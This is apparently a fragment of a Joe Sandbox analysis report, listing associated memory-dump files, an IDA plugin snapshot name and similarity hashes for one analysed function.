                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ByteCharMultiWide$ErrorLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1717984340-0
                                                                                                                                                                • Opcode ID: 474be6ed1c1f567f6a9d9b85449ec8959256f13c3e671e0cc983979109d472c4
                                                                                                                                                                • Instruction ID: f311877b3f0041047abab4cb0869b5c9e3c32b3f311814c53895f5fd84d1e92e
                                                                                                                                                                • Opcode Fuzzy Hash: 474be6ed1c1f567f6a9d9b85449ec8959256f13c3e671e0cc983979109d472c4
                                                                                                                                                                • Instruction Fuzzy Hash: C641D771E00286AFDB21CF64D944FBE7FA9AF46310F2481ADE85DA7191EB309D01C752